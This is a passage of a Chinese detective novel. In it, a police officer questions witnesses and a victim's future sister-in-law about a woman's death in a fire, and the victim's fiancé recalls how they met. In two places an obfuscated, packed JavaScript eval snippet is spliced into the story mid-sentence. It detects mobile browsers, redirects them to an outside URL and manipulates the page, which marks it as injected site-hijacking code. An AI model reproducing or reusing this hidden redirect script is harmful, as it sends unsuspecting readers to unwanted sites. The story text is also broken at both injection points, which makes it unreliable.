酒保一边擦着杯子一边搭话:“她算常客了,有时跟朋友,有时一个人。就是个爱玩的小姑娘啦,满脑子名牌包、化妆品、男人、别的女人穿什么,还有各种八卦之类的......” “你说她?”看场的男人回忆了一下,“我有印象。她不怎么开车,酒量好像也不太行。哦对了,有回她朋友先走了,我看她醉得不成样子,怕她出去出事,就帮她联系了家里人——别这么看我,我们这儿是正规场子好吧。你情我愿的事儿咱管不着,但真要出了事,警察第一个找的还不是我们?我记得是给她哥打的电话,结果来接的是个女的。俩人好像还不怎么对付,她在门口闹了好一阵,最后是被那女的硬塞进车里的。” “我记得她!她前不久还在酒吧跟人吵架来着!”一对正依偎着的情侣中的女孩突然插话,她像是被勾起了不快的回忆,语速都快了些,“当时她们拉扯得可凶了,撞了好几个人,还踩了我的脚,连句对不起都没有!真是的!” 她蹙着眉想了想:“大概......半个月前?记不太清了。就两个女的在吵架,我听见她一直冲着对方喊:‘可算抓到你了!’之类的。亲爱的,你当时也在,还记得吗?” 旁边的男生似乎印象模糊,但还是附和着点了点头。 “和她吵架的人,是不是她?”严疏立刻调出楚谕的照片,将手机递到女孩面前。 “里面那么黑,谁看得清啊......我只记得那个女的好像穿得挺......正常?嗯,反正就是和这里格格不入。” 严疏有些急了,手机几乎要碰到对方的鼻尖:“你再仔细看看!到底是不是!” 男孩的保护欲瞬间被激起,一把将女友拉到自己身后,板着脸对严疏说:“大叔,你当自己是警察啊?审犯人吗!” “警察,刑警。”严疏亮出证件,神情严肃:“请你们配合,仔细辨认一下。” 小情侣的脸色顿时变了。女孩结结巴巴地说:“真、真的记不清了......好像......应该是吧。” “请你们再好好回想一下,她们吵架那天,具体是几号?这非常重要。” 两人脸上写满了不情愿,却又不敢再说什么。他们原本只当严疏是个偷窥小姑娘的怪大叔,才随口抱怨几句,早知道就绝不多这个嘴了。此刻对着严疏那张冷面,两人面面相觑,只好拼命回忆那天的日期。 突然,男孩一拍大腿:“我想起来了!8号!那天是阿龙生日,我们转场来的这儿,对吧?” “哦对对对!”女孩也连忙点头,“是我们一个朋友的生日,没错,就是8号!” 严疏的嘴角控制不住地向上扬起。他丢下一句“多谢配合”,便匆匆离开了酒吧。 门外燥热的夜风瞬间包裹住他被冷气浸透的身体,细密的汗珠立刻渗了出来。他点了根烟,抬起头,对着难得清澈的星空长长吐出一串烟圈。烟雾熏得他眯起眼,脸上却浮现出一种如释重负的畅快。 这团乱麻,总算被他揪住了一个线头。 这一次,终于不再是猜测。酒吧众人的言语,不仅证实了宋晴与楚谕早已不睦,更揭露了一个关键事实——火灾发生在9号凌晨,而8号晚上,宋晴还曾与楚谕在酒吧激烈争吵。 从时间上推断,宋晴很可能是楚谕生前见过的最后一个人。 ———————————— 第二天一早,严疏直接去宋晴的大学堵人。他到的时候正值早八,校园里人流如织。宋晴本就起晚了,匆忙化了个妆,起床气还没完全散去,一见到他,整张脸瞬间沉了下来。 “你怎么找到这儿来的?哦对,你是警察。”宋晴瞪着他,语气尖锐,“那我犯法了吗?你凭什么一次又一次骚扰我!” “别激动,宋同学。”严疏摸了摸眉毛,神色不动,“就问一个问题,不耽误你上课。有目击者证实,这个月8号晚上,也就是楚谕死亡当晚,你曾和她在一家酒吧发生过争吵。有没有这回事?” 宋晴那副凌厉的神情骤然僵住,仿佛被人按下了暂停键。尽管只有一瞬,她便又迅速撑起了不以为然的表情,但破绽已无可挽回。 “是又怎么样!难不成你怀疑我杀了她?你有证据吗!”她嗓门陡然拔高,但在严疏眼里反而透出心虚。 “说实话,我一点都不怀疑你。”严疏敷衍地笑了一下,“其实我不怀疑任何人,所以你不用紧张。我只是好奇,楚谕到底是个什么样的人,为什么你和你哥对她的态度天差地别。当然,你不愿意说也没关系,我去问问你哥哥,看他知不知情——火灾发生前,你和他未婚妻见过面。” 说完他作势要走,身后果然传来气急败坏的喊声:“等一下!” 严疏挑起一侧嘴角,刻意停顿片刻,才缓缓转身。 宋晴冲到面前,眼珠快速转动着,仿佛在盘算什么。片刻后,她重新开口,声音恢复了平静:“你别去找我哥,他已经够难过了。你想知道什么,我告诉你就是了,但我事先声明,她的死跟我可没半毛钱关系!” “成交,我们就随便聊聊。” “那你等我上完课。” “我在校门口的咖啡店等你。” 严疏本想半开玩笑地提醒一句“别放警察鸽子”,话到嘴边却怎么也说不出口——与人周旋的技巧,他确实半点也无。 结果这一等就是两个多小时,远超一节课的时间。快十一点,宋晴才慢悠悠地走进咖啡店,自顾自点了饮料和蛋糕,随后才不以为然地问:“你想知道什么?” 严疏不动声色地观察着宋晴。这两个多小时显然足够让她从最初的慌乱中镇定下来,重新披上一身防御的盔甲。他心知肚明,接下来的对话,这丫头势必会避重就轻、左右闪躲。 但他毫不担心。一来,宋晴不过是个毫无社会经验的学生,即便绞尽脑汁,她那点小心思在一个摸爬滚打十几年的老刑警面前,也如同透明玻璃。二来,他先前所言非虚——此刻他的确并未锁定任何确切的嫌疑人。 事实上,他连楚谕的死究竟是不是一场谋杀都无法断定。驱动他走到今天的,并非确凿的证据链,而是那种深植于骨髓的直觉,一种在多年刑侦生涯中淬炼出的本能,正尖锐地警示他:这片看似平静的水面之下,必定潜藏着未曾显露的暗流。 那关乎十二年前的旧案,关乎一个被尘封的真相,可能还关乎一个少年骤变的命运。 这才是严疏真正想找寻的真相。 ———————————— “你为什么那么不喜欢楚谕?”严疏开门见山。 “你哪只眼睛看见我不喜欢她了?”宋晴立刻翻了个白眼,“话可不能乱说。你先咬定我和她有矛盾,下一步就该怀疑是我害死她了?我没那么傻。我和她没什么深仇大恨,只是单纯不希望她嫁给我哥而已。” “怎么,你是那种觉得全天下女人都配不上自己哥哥的小姑子?” 这话宋晴显然不是第一次听了,连生气都带着熟练。她把叉子往瓷碟上重重一放:“我可不是变态!” 严疏低笑了一声,没接话。 “我哥当然好,家境、学历、工作,她哪一点配得上?我哥以前谈过的女朋友个个都比她强,我跟她们也处得很好。”宋晴摇了摇头,“但我不是因为这些才不接受她的。本来我觉得,只要我哥喜欢就好。可见到楚谕第一面,我就浑身别扭——这种感觉我说不清楚,只能说......是女人的直觉吧。” “可你哥哥很喜欢她,所有接触过她的人也都说她很好。” “我哥岂止是喜欢?简直把她当圣女,觉得全世界没有比她更好的女人了。连我爸妈也是,明明见过条件好的多的,但不知道为什么还是被她吃得死死的。”说起这个,宋晴就气不打一处来,“你看她的长相就知道,不就是你们男人最喜欢的那种......怎么说呢,土纯土纯的。看上去人畜无害、温温柔柔、楚楚可怜,让人不由自主觉得她说什么都是真的。可我总觉得她戴着面具,说的每句话,做的每个表情每个动作,都像精心设计过的,可会讨人开心了。爸妈和我哥吃她这套,我可不买账!好几次我看着她的脸,莫名其妙直起鸡皮疙瘩。” 主观感受确实不能作为证据,更何况严疏实在不太理解这所谓的“女人直觉”。不过,宋晴描述的那种“表面完美却让人隐隐不适”的人,他确实遇到过。 “能举个例子吗?有没有她表面一套、背后一套的实际证据?” “你别说,还真有。”宋晴像是终于等到了这句话,“她每次来我家,我妈都会送她好多东西,吃的、用的,逛街看到适合她的衣服也会买给她。她每次都会推辞一番,嘴甜得能齁死人。可有一次她落了东西,我哥不在,我妈非要我追出去还。结果你猜怎么着?我看到我妈刚送她的新围巾,连包装袋一起,被扔在了副驾驶的脚垫上!” “她发现你看到了?” “知道啊,我当时就和她吵起来了。” 严疏觉得这件事实在有些不值一提,忍不住揉了揉眉心:“然后呢?” “然后她就摆出一副委屈巴巴的样子,说是不小心滑下去的,不是故意的。” 严疏嘴角抽了抽:“你有没有想过,也许她说的是真话?” 宋晴“啪”地一拍桌子:“你看!你也不信!那你还问什么问?我走了!” 宋晴当即拎包要走,严疏立刻出声阻拦:“别急,最重要的还没问。那天晚上在酒吧,你们为什么吵起来?又是几点分开的?” 一提到这件事,原本气势十足的宋晴顿时泄了气。她缓缓坐回椅子上,双手不自觉地将椅子往前挪了挪,像是在给自己做心理建设。再次开口时,声音低了许多,语气也与先前判若两人。 “我记不清了......十点多,也可能十一点多吧。我们从酒吧出来就各走各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“挺早之前了吧,有一次我和同学出去玩,路过便利店想买点喝的,就让司机临时停车。等我从店里出来,正好瞥见楚谕的车停在马路对面。她坐在车里,那男人站在人行道上,靠着个电线杆。两人谁也没看谁,像完全不认识,但那男人明显在说话,有点像在刻意避开视线交流。过了一会儿楚谕就开车走了,但那男人一直站在原地,等她车开远了才回头,目送她的车直到消失,然后才转身离开,恋恋不舍的。” 听起来确实有猫腻。严疏的瞳孔微微收缩,身体前倾,语气严肃起来:“那男人长什么样?” “具体说不上来,但给人的感觉有点......怪异吧。”宋晴蹙眉回忆,“体型适中,长的挺顺眼,甚至称得上清秀,但有些阴柔。穿着虽然还行,但莫名显得邋遢,整个人透着一股说不出的颓废。” 听着她的描述,严疏的心跳逐渐加快。他沉默地解锁手机,调出那张班级合照截图——那个站在楚谕身后两排的清秀少年。他将手机推到宋晴面前,指尖带着些微不可察的颤抖。 “是他吗?” 这一刻,他难得地感到紧张。 然而宋晴并没有给出肯定答复。她对着照片端详良久,嘴里含糊不清,最后还是摇头:“你这照片太模糊了,认不出来。” “你再仔细看看。” “仔细也没用好吧。我见到的是个成年人,你这照片里明显还是个学生,这怎么认?”宋晴眼珠一转,忽然露出意味深长的笑:“不过......如果你非要我认的话,也不是不行。” 小丫头,还跟他耍心眼。严疏没接话,从笔记本上撕下一页纸,连笔一起推过去:“麻烦把上次见到楚谕和那个男人的地址写下来。” 宋晴接过笔,写了几个字后突然停住,“哒哒”地按着笔帽:“你到底在怀疑什么?” “我什么都没怀疑。” “骗人。”她愤愤地写完地址,把纸甩给严疏,“你们警察是不是就习惯怀疑一切?还是你的个人问题?” “又想投诉?请便。” “只要你不再纠缠我家,我给你送锦旗都行!”宋晴几乎是脱口而出。 “锦旗就不必了。”严疏看了一眼她急切的样子,觉得有些好笑,看来自己确实有些招人烦的本事。他将纸笔和手机收回口袋,站起身,双手撑着桌面,目光习惯性地沉沉压向宋晴:“我说话算话。只要你今天说的都是实话,没有隐瞒,那如果没什么事,我保证不再来打扰你们。所以——你要不要再仔细想想?” “我......说的,都是实话。”宋晴的回答带着一个微妙的停顿,眼神不自觉地飘向一旁,像受惊的蝴蝶般闪烁不定,随后很快又补充:“对了,刚刚那张照片......是有点说不清的熟悉感,但我真的不能确定。” “好。那我先走了。”严疏直起身,“你有我电话,想到什么,随时联系。在外面如果遇到麻烦,也可以打给我。” 他转身离去,推开咖啡厅的玻璃门,身影很快消失在街角。 宋晴独自在原地坐了许久,直到确认严疏不会去而复返,紧绷的神经才骤然松弛。她双肘撑在桌上,用双手捂住脸,长长地、近乎贪婪地呼出一口气,仿佛要将胸腔里积压的浊气全部排空,却总觉得仍有那么一丝滞涩,沉沉地压在心底,吐不出来,也咽不下去。 她的应对.....应该没问题吧?警察......应该不会再来了吧? 宋晴揉了揉发酸发涩的眼眶,甚至忘了自己精心描绘的眼线与睫毛膏。 无论如何......楚谕这个人,已经死了。 这个念头像一剂强效的安定剂,缓缓注入了宋晴的心绪。 那个女人已经被烧成了灰,被封存在那个冰冷、狭小、不见天日的盒子里,上面还压着厚重的、无法撼动的石板。这个世界,正以它自己的方式,一点点地抹去她存在过的痕迹。渐渐地,所有认识她的人都会将她遗忘。 她,再也不能打扰他们的生活了。 想到这里,一股真正的、如释重负的轻快感,终于驱散了最后一丝阴霾。宋晴从精致的皮包里拿出气垫粉饼,对着小镜子仔细地补妆,审视着镜中重新焕发出年轻光彩的脸庞。 一切都会过去的。 不是已经过去,就是正要过去。 在宋晴的世界观里,生活本就应该如此——甩掉沉重的,轻装前行。 4. 肆 宋朗又一次从噩梦中惊醒,冷汗浸透了睡衣。他跌撞下床,从冰箱里拎出水壶,仰头猛灌,冰水却顺着下颌淋漓洒落,仿佛连身体都在拒绝这份清醒。 他记不清具体梦见了什么,只有黑黢黢的影子和若有若无的焦糊气息在脑海中纠缠,仿佛某处正燃烧着无形的火焰,迫使他拼命逃离那片无边的恐惧。 他知道,根源仍是停尸房里那惊心动魄的一瞥。 尽管后续的丧葬事宜都托了专人代办,但过程中难免的接触,已让那可怖的画面有如附骨之疽,深深烙进了他的神经。 他这一生顺遂,从未真正领略过何谓无常。一个鲜活的人,几日不见竟然就化作了那般模样,这彻底击穿了宋朗的认知壁垒。事情虽已过去一段时间,他也反复告诉那个偏执的警察要向前看,但内心深处却始终恍惚,总觉得有什么东西沉沉地梗在心头,过不去,也放不下。 更让宋朗无措的是,他始终无法在情感上真正接受“楚谕已死”这个事实。纵然墓地是他亲手所选,骨灰盒是他亲眼看着被封入石椁,墓碑上的名字也是他最终确认——他依然固执地觉得,那捧灰烬与那个总是浅笑着的女人,毫无关联。 理性却在冰冷地提醒他,无论他接受与否,这就是事实。那个他倾心爱着的女子,其身体与灵魂,确已从这个世界上消弭殆尽。即便他已着手起诉悦澜湾物业的消防疏失,即便官司胜诉,那笔赔偿金于他而言又有什么意义?他并不缺钱,更何况再多的钱,也换不回他的未婚妻——那个活生生的楚谕。 宋朗摇摇晃晃地走回客厅,颓然从餐边柜中取出一瓶开过的白兰地,坐回床沿,一边啜饮一边翻看手机里楚谕的影像。看着看着,视线又一次被泪水模糊。 相册里最早的一张楚谕的照片,是他偷拍的。那是一个俯视的视角,隔着几栋楼的距离,即便手机是最新款,放大数倍后仍是有些失真。 可即便如此,照片中的楚谕依然美得惊心。 她独自坐在凌乱的天台上,微风肆意拂乱她的长发,半掩住面容,她却毫不在意,只是叼着一根细长的饼干,面无表情地凝望天空。 她的气质太特别了,特别得......仿佛从未真实地存在于这尘世之间。 就像一缕风,宋朗混沌地想着,来也无影,去亦无踪。 ********* 注意到楚谕,完全是一场意外。 她工作的服装厂与宋朗的公司仅一巷之隔,而他向来懒得动,平日午休也惯于待在舒适的办公室里。那天,他端着咖啡将转椅旋向落地窗,目光无意间掠过对面低矮的天台——就在那片灿烂得近乎奢侈的阳光下,她出现了。 她的发丝,她的侧脸......一切,仿佛都在光晕之中静静燃烧。 也许,那就是一见钟情。虽然当时的宋朗并未意识到,也不愿承认。 但自那以后,他总是不自觉地望向那个固定的位置。楚谕并非每日都会出现,即便来了,多数时候也只会待上短短片刻。可只要那抹身影映入眼帘,宋朗便觉得,这一天莫名地变得完满起来。 他就以这样近乎“偷窥”的失礼姿态,默默观察了许久。他注意到她上班时总规整地束着长发,到了天台才会散开,被头绳箍久了的发尾微微卷曲着,像烫过一般,略显凌乱地披在背上。离开前,她又会极快地将头发挽成丸子,那一瞬,她清晰的下颌线与纤细的脖颈分毫毕现,在阳光下显得格外动人。 她似乎正在戒烟,时常拿出烟盒在指间把玩,最终却总是换成饼干或棒棒糖叼在嘴里。她大多时候没什么表情,只是望着空无一物的远方出神,偶尔掀起眼帘看看天光。 直到某个大风天,宋朗看见她仍坐在天台边缘,心突然揪紧,第一次生出呼喊的冲动,却又担心她听不见,更担心......这举动于自己而言,有失体面。 他就这般自我交战,直至楚谕转身离开,也未能付诸行动。 最初,那道无形的阶层壁垒确实横亘于心。他看得出楚谕衣着简朴,在车间工作,想来学历背景与他熟识的圈子相去甚远。宋朗并非没有感情经历,家里曾安排过几次相亲,对象皆是门当户对的女孩。可那些相处更像一场场条件匹配的社交,与其说是恋爱,不如说是与异性的“自己”进行着安全却乏味的互动。 宋朗深知自己天生需求寡淡,欲望阈值极低,也正因如此,当那个天台上的身影竟能在他心里投下如此清晰的涟漪时,连他自己都感到无措。他分明不曾与她有过一句交谈,却已被一种源自本能的、近乎原始的强大吸引力牢牢攫住。 虽然那份悸动如此真实,却在一时之间,仍然难以真正冲垮他心中那堵由教养、环境与惯性构筑而成的无形壁垒。事实上宋朗也不知道自己到底在纠结什么,明明他并非看不起物质条件不如自己的人——他确信自己没有这种浅薄的优越感。 但他就是无法迈出那一步,直到一个大雨滂沱的夜晚。 那天宋朗加班至很晚才驱车离开。雨刷器疯狂摆动,车窗仍被雨水模糊,视野里一片影影绰绰。然而,当他的车经过那个独自走在雨中的身影时,他还是一眼就认出了她。 那是楚谕。她没有打伞,就那样沉默地走在滂沱大雨里,浑身湿透,像一抹无依的孤影。 宋朗自己也不知为何,几乎是下意识地猛踩刹车,将车倒回她的身边,降下了副驾的车窗,朝雨幕中喊:“你要去哪儿?我送你吧!” 直到看见楚谕蓦然转头,脸上写满惊愕,宋朗才猛地意识到——自己的举动,对于一个陌生人而言,是多么唐突。 雨水沿着苍白的脸颊滑落,在黑发的映衬下,她像一株被暴雨打湿的栀子,脆弱得令人心颤。湿透的衣衫紧贴身体,隐约勾勒出内衣的轮廓,却奇异地不带丝毫情色意味。在宋朗眼中,她就这般静立于迷蒙雨幕与深沉夜色,周身仿佛散发着一圈朦胧而洁净的微光,轻盈又虚幻,让他几乎不敢直视。 “我是隔壁公司的,之前......见过你。”宋朗稳了稳心神,声音不自觉地放轻,“你要是不放心,可以坐后面。雨太大了,这样会生病的,先上车吧。” 楚谕拘谨地攥着湿透的衣角,声音透过雨幕,听起来有些细弱:“谢谢你,但没关系,前面不远就是车站了。”她低下头,像是为自己找补般,“我身上都是水,会把车里弄脏的。” “洗一下车就好了,”宋朗的语气带着些莫名的恳切,前一阵的犹豫在此刻尽数转为孤注一掷的勇气:“快上来吧,这种天气,公交车不知要等多久。” 楚谕轻轻咬住下唇,迟疑了片刻,最终似乎是不愿再耽误他,终于勉为其难地拉开车门。 她果真选择了后座,身子挺得笔直,尽量缩减自己的存在感,像一个误入他人领域的闯入者。 “地址方便告诉我吗?”宋朗尽量不着痕迹地透过后视镜看她。雨珠正从她的发梢滴落,在浅色的裤子上晕开深色的水迹。 她报了一个地址。没了雨幕的遮掩,她的声音清晰了不少,愈发清脆悦耳。 “这么远?”宋朗脱口而出。 “是挺远的......您把我放在前面的车站就好。”她急忙解释,以为他是嫌远。 “抱歉,我不是这个意思。”宋朗立刻纠正,语气有些急切:“开车过去也用不了多久。我只是想说......你每天通勤太辛苦了。” “远一点的房子,租金便宜些。”她轻声回答,而后才后知后觉地抬起眼,“您......是在哪里上班?我不记得见过您。” “我在前面的RT工作。” “啊......”她微微张嘴,发出一个表示惊讶的短音,随后便陷入了沉默。RT,是全国知名的大公司,在许多城市都有分部。这简单的音节里,似乎已包含了距离感与了然。 四十多分钟后,车子抵达她所说的住址。那是一片老旧的小区,巷道狭窄,路灯大多已损坏,四周漆黑一片,寂静得只剩雨声。车子难以开进深处,楚谕便让宋朗在巷口停下。雨势未减,宋朗拿起车里的伞,绕到另一边为她撑开。 伞下的空间逼仄,两人不可避免地靠近。在潮湿清冷空气里,宋朗却清晰地嗅到她发间一丝极淡的、类似草木的清新气息。他能感觉到她尽力缩着肩膀,避免与他发生任何碰触。 他借着整理衣角的动作低头,目光掠过她微湿的侧脸,只见那双晶莹剔透的眼睛,在昏暗中澄澈得如同深海珍珠,是他从未见过的空灵与纯净。 “谢谢你,”楼道的感应灯亮起几秒又迅速熄灭,她的眼睛在黑暗中像浸了水的星星,闪烁不定,让宋朗的心跳漏了一拍,“改天......我请您吃饭吧,算是谢谢你送我回来。” “好啊,让您破费了。”他几乎是不假思索地答应。 她咬了咬唇:“但我可能......请不了太贵的地方。” 宋朗闻言愣了愣,随即,一抹笑意不受控制地从心底涌上嘴角。 那不是他最为熟悉的,源于社交场合的礼貌微笑,而是发自内心的、带着难以言喻的愉悦的真实笑容。 直到很久以后,当所有真相如潮水般退去,宋朗才在回忆的残骸中逐渐看清——那种令他心折的、仿佛不染纤尘的澄澈,其实......并非源于蓬勃的生命。 那是......灵魂在长久跋涉后燃尽的余烬,是试图与过往彻底割裂时,产生的空洞倒影。 就像山涧清泉与深海之渊,同样万籁俱寂,可一个映照着盎然的生机,一个......却吞噬了光线与回响。 而彼时的宋朗,只看见了那片令人心动的澄明,却未能分辨其中令人不安的寂静。 ********* 自那次雨夜相遇后,宋朗与楚谕渐渐熟络起来。随着见面次数增多,他从她零星的叙述中拼凑出她的过往:父母早逝,家徒四壁,她不得不早早辍学,独自背负起生活的重担。虽然后来通过成人教育勉强拿到一纸文凭,但在宋朗耀眼的人生履历前,这份努力显得那样苍白。 或许正是这悬殊的差距滋生了骨子里的自卑。尽管宋朗明确表露心意,楚谕却总是若即若离,像受惊的鸟儿般一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352886|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次退缩。 “我们不合适,”她总是垂着眼睫重复这句话,声音轻得像叹息,“真的不合适。”可她越是如此,宋朗心中那份怜惜便越是汹涌——命运的多舛,何曾是她这样一个柔弱女子的过错?她提及过往时总是轻描淡写,一句“都过去了”便掩埋了所有艰辛。宋朗无法想象那些她独自吞咽的苦楚,又怕追问会触及她的伤疤,只得屡次将满腹疑问默默压下。 他暗自练习了很久才正式表白,楚谕却没有答应,还执意不让宋朗送她,转身走入夜色。宋朗放心不下,只好开着车缓缓跟在一旁。昏黄的路灯下,他看见她走着走着,肩膀忽然开始轻微颤抖,随后压抑的哭声飘进车窗,夹杂着破碎的呢喃:“为什么......” 宋朗只觉心头一紧,来不及细想,便立刻停车上前。而就在他打开车门的短短几秒里,楚谕却已迅速拭去泪痕,只有微红的眼眶和鼻尖,泄露了方才的崩溃。 回到车上,楚谕第一次主动谈起他们的未来。她说他们活在两个截然不同的世界,即便他不介意,他的家庭也绝不会认可。 “别担心,”宋朗紧紧握住她冰凉的手,声音沉稳而坚定,“我父母非常尊重我的选择。只要我们彼此坚定,没什么是克服不了的。” 话音落下,楚谕的泪水却再次决堤。这一次,她崩溃的情绪似乎更加汹涌,久久不能平复。 宋朗安抚着她,却在一片破碎的哽咽声中,仿佛听到她用泣音念叨着想要喝粥。他轻轻拍着楚谕的背,虽然觉得这突如其来的诉求有些奇怪,却也只当她是情绪波动后的孩子气。待楚谕渐渐平静,他便依着她,将车开到一家尚在营业的粥铺。 暖黄的灯光下,宋朗看着面前安静进食的女人,又看着自己面前那碗热气腾腾的粥,表面维持着温和镇定,心里却直犯愁——关于父母能否真正接纳楚谕,他其实并无十足把握。 这种不确定性让他如鲠在喉,思忖良久后做了一个大胆的决定——干脆直接将楚谕带回家见他的父母。 这是他人生中进展最快的一段感情,快得连他自己都觉得不可思议。 然而,更让宋朗意外的是楚谕的表现。 初次登门,面对宋志伟与陈静礼貌却犀利的询问,她没有丝毫闪躲,回答得坦诚而直接。她坦然承认学历的不足,家庭背景的空白,目光清澈,姿态不卑不亢。那份直面自身缺失的勇气,竟让原本准备了诸多说辞的宋家父母,无法说出任何重话。 随着见面次数增多,楚谕的温柔细心开始愈发凸显。她会默默记住陈静偏好的香薰,会在宋志伟咳嗽时适时递上一杯热茶。在宋家父母眼中,这个命运多舛的姑娘,并未被生活磨去应有的体面,反而淬炼出了一种沉静坚韧的气度。渐渐地,本就不指望依靠联姻获取助力的二人,便不再执着于她的出身与学历,只记得她是个让儿子眼里有光、让他们感到温暖贴心的好姑娘。 宋晴是宋家父母意外得来的老来女,因着上有兄长支撑,她便从小被娇惯得本事不大、脾气不小。上大学后更是难得回家,每次回来多半是为了要钱。与这个亲生骨肉相比,楚谕反倒更像是他们理想中的女儿——温婉得体,善解人意,说话轻声细语,还烧得一手好菜。到后来,若是楚谕几天没登门,陈静便念叨得紧,甚至催促宋朗早日把婚事定下。 宋朗自然是乐见其成。他本想让楚谕辞去工作,但楚谕却不愿完全依赖他;想安排她到自家公司担任体面职位,她又说担心能力不足。最后权衡之下,只得托人给她找了一份普通的文职工作。宋朗提过给她买车,但最终楚谕只要了宋晴换下来的旧车,换的住处也是宋家早年闲置的旧居——原本打算给宋晴,但她嫌地段有点偏、户型也不满意,便一直空着。他想过户给楚谕,她却坚决推辞,甚至说如果硬要过户,她便不住了。 订婚那天,陈静握着楚谕的手,动情地说:“老天爷以前亏待你的,往后我们给你补上。” 楚谕的回应是紧紧回握二老的手,泪水止不住地流。 但那天是宋朗唯一一次对楚谕感到些许不满——在那样温馨感人的时刻,她却依然没有像个真正的儿媳一样,喊出一声“爸妈”。 在将礼数刻进骨子里的宋朗看来,这终究是失仪的。 不过这点不快很快就被冲淡,不久他便将这个细节抛诸脑后。 这段感情平稳而安宁。繁忙的工作中,只要看到楚谕,再多的烦忧都会在她沉静的气质中消散。除了偶尔闹腾的宋晴,他们几乎没有任何阻碍——而全家人都只当那是小姑娘在撒娇吃醋。 可转眼间,所有的幸福......都化作了泡影。 楚谕死在了他安排的房子里,这个事实让宋朗更加难以承受。他总是不由自主地回想,如果当时做出任何一个微小的不同选择,结局......是否就会有所改变? 但不论如何,宋朗对“意外”的结论都深信不疑。那个警察的怀疑在他看来简直荒谬—— 怎么会有人处心积虑地想要杀害楚谕? 明明每一个认识她的人,都会不由自主地喜欢上她。 5. 伍 一开始,严疏其实对找到宋晴口中的那个男人并没抱太大希望,毕竟她写下的地址信息太过模糊——一段平平无奇的马路,唯一的参照物只有一家便利店。 他推测,楚谕或许只是恰巧路过,与那人短暂交谈了几句。加之宋晴对楚谕抱有显而易见的偏见——而根据他的经验,戴着有色眼镜的描述,往往会让简单的事情变得复杂。 尽管如此,严疏还是驱车前往那个地点实地查看。周围商铺林立,还算热闹,但路边划着醒目的黄线,禁止停车——这倒解释了为何楚谕只是短暂停留便离开。 他在附近踱步观察,最近的一个交通摄像头在路口,距离较远,能否拍到目标位置实在难说。以他目前“休假”的身份,若申请调用交通部门的监控资源,势必惊动上头,惹来不必要的麻烦。于是,他将目光投向了那家便利店自身的监控系统。 “警察。”严疏向收银台后的年轻店员亮了一下证件,直接说明来意,“你们店门口的监控开着吗?” “开、开了......”店员是个半大的小伙子,看到警官证后明显紧张起来。 “带我去看看。” “可店长不在......” “店长在,也一样得配合工作。”严疏扯了下嘴角,语气不容置疑,“快点,我就查点东西。” 店员不敢再多言,赶忙引着他走向里间。存储监控的电脑相当老旧,画面的像素很是粗糙。严疏熟练地移动鼠标,点开存储列表,心猛地一沉——时间轴上只剩下最近几天的记录,更早的数据一片空白。 “之前的记录呢?”他问,心里已涌起不祥的预感。 “可、可能自动删除了吧......电脑太旧,存储空间小,好像设置了一个月一删。平时......平时也没什么事啊。” 严疏“啧”了一声,猛地站起身,一言不发地朝外走去。年轻的店员在他身后松了口气,与同事交换着不安的眼神,低声议论起来。 虽然出师不利,严疏倒也并未太过沮丧。他看了剩余的监控,拍摄角度有限,范围狭窄,即便原始记录还在,恐怕也难有收获。 他站在店门外,点燃一支烟,眯着眼,锐利的目光缓缓扫过街道的每一个角落。烟雾缭绕中,他自己也说不清究竟在寻找什么,这更像是一种......融入骨血的搜寻本能。 烟支渐渐燃到滤嘴,他顺手将其摁熄在旁边的电线杆上,准备暂且打道回府,再谋他路。 然而,就在他低头摁灭烟头,随即抬眼的刹那—— 马路对面,一个擦身而过的身影,让他如同触电般猛地定在原地,全身的血液似乎都在这一刻凝固、倒流。 是他。 看到那个男人的瞬间,胸腔里某种被压抑许久的东西轰然作响。所有看似徒劳的坚持、不被理解的执拗,在此刻仿佛都被赋予了确凿的意义。 十二年光阴荏苒,看着那张泛黄旧照时,严疏一度怀疑自己是否还能辨认。可当活生生的人出现在眼前,尽管无法立刻将五官与记忆精确对应,但某种更深层、更直觉的东西在猛烈撞击着他——这就是照片里那个清秀到阴柔的男孩,也是宋晴描述的、与楚谕私下接触的男人! 那幅缺失了巨大板块的拼图,在长久的僵局与黑暗中,终于被他摸到了至关重要的一片。 这一片,看似微小,却清晰地露出了边缘的轮廓。 严疏感到一股久违的、近乎战栗的振奋,正沿着脊椎急速攀升。 严疏几步穿过车流,追上那个步履匆匆的男人,抬手拦住了他的去路:“等一下。警察,有点事问你。” 男人微微一怔,顿在原地,脸上是一片空白的茫然。 “你认识一个叫楚谕的女人吗?” 直到这句话问出口,男人才像被骤然惊醒。他眼中闪过一丝错愕,下意识地点了头:“认识。” “你叫什么?” “迟昼。”事发突然,男人显然没反应过来,甚至忘了疑惑为何问话的警察会不知道他的姓名,只是下意识地回答了,随即急切地追问,“楚谕......她怎么了?” 迟昼。 对,他就叫迟昼。 线索和记忆,在此刻严丝合缝地咬合。 一些尘封多年的画面与模糊的面容,如同接触不良的老旧电影,开始在严疏的脑海中剧烈闪烁。 记忆中的迟昼高高瘦瘦,带着少年人特有的单薄与干净。他是单眼皮,眼睛不大,因此虽然双目炯炯有神,却总显得有些阴郁。而眼前的男人,体型臃肿了些,也正如宋晴所描述——底子依稀可见曾经的俊朗,内里却仿佛已被掏空,透着一股难以言说的颓丧。昔日那份清秀利落的气质,已被一种阴郁的柔和取代。 “楚谕死了。你知道吗?” 严疏的话像一把冰冷的匕首,直刺过去。迟昼的脸色却没有立刻改变,眼神依旧是木然的,直到几秒的死寂后,巨大的阴云才骤然笼罩了他的面容,眼窝仿佛以肉眼可见的速度深陷了下去。他像一具失控的木偶,生硬地歪了歪头,眉头紧紧拧起,从空洞的胸腔里挤出声音:“你......胡说什么......” 